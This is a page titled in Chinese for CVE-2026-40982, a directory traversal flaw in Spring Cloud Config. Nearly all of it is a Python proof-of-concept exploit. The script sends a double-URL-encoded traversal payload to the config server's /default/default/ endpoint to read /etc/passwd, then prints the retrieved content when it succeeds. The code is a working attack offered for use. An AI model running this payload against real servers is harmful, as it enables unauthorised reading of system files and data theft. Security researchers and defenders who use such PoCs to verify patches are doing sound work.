CVE-2026-40982 Spring Cloud Config目录遍历漏洞

import requests def exploit_poc(target_url): """ PoC for CVE-2026-40982: Directory Traversal in Spring Cloud Config Attempts to read /etc/passwd from the target server. """ # Standard path for config server is /{name}/{profile}/{label} # Using traversal sequences in the label or name parameter to escape the context traversal_payload = "..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd" # Constructing the malicious URL # Note: The exact endpoint structure may vary based on configuration attack_url = f"{target_url}/default/default/{traversal_payload}" headers = { "User-Agent": "CVE-2026-40982-Scanner" } try: response = requests.get(attack_url, headers=headers, timeout=10) if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability detected! File content retrieved:") print(response.text[:500]) # Print first 500 chars else: print("[-] Exploit failed or target not vulnerable.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://vulnerable-server:8888" exploit_poc(target)